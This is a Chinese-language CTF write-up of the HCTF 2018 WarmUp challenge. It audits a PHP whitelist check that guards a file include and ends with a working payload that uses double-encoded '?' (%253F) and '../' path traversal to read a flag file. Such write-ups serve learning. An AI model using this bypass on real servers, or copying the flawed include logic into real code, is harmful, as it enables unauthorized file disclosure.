web：[HCTF 2018]WarmUp

题目

点进页面，页面只有一张滑稽脸，没有其他的提示信息

查看网页源代码，发现source.php，尝试访问一下

跳转至该页面，页面显示为一段php代码，需要进行代码审计

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            //白名单验证
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }//isset是判断page是否为空。由于传进来的page为一个字符串且不为空，所以返回false
 
            if (in_array($page, $whitelist)) {
               //对输入进行判断，是否为白名单类的内容
                return true;
            }/*in_array的意思是判断page里是否包含白名单里的内容 例如source.php  hint.php。
              就是page=source.php或者hint.php才行.所以最后返回了false。*/
 
 
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
       /*这里mb_substr 是个截断，返回0到mb_strpos之间的内容，而mb_strpos 则是查找第一次出现的位置，所以基本可以理解为获取page 两个？之间的字符串，也就是获取file两个？之间的字符串，放到url中就是http://ip/?file=ddd?中的file=ddd*/
            if (in_array($_page, $whitelist)) {
                return true;
            }
/*经过上面的截断代码，page=source.php  所以返回true ,文件可以得到包含，结束，下面的代码就不用在执行了*/
 
            $_page = urldecode($page);//进行url解码
            //输入的url会进行一次解码，通过这个函数进行再一次解码，所以对“？”要进行二次编码==》%253F（%25是%的url编码，进行过一次后为%3F，在进行一次解码后变为“？”）
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
 
    if (! empty($_REQUEST['file']) //输入不能为空
        && is_string($_REQUEST['file'])//判断是否为string类型
        && emmm::checkFile($_REQUEST['file'])//调用emm类中的checkFile方法
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

先访问hint.php看看有没有别的提示信息

根据提示信息，进行目录穿越可获得flag，这里flag写了四次，可能使用四个或五个../

构造payload

http://1f0787c3-39e3-43b6-9583-f8ecb87aae1c.node4.buuoj.cn:81/?file=hint.php%253F../../../../../ffffllllaaaagggg

得到flag

总结

mb_substr()函数返回字符串的一部分，substr()函数，只针对英文字符，如果要分割的中文文字则需要使用mb_substr()。

若start参数是负数且length小于或等于start，则length为0

如果在测试时没有匹配到指定符号，将返回字符串长度

代码审计参考链接：

[HCTF 2018]WarmUp_ke1nys的博客-CSDN博客

[HCTF 2018]WarmUp_浑水摸鱼的咸鱼的博客-CSDN博客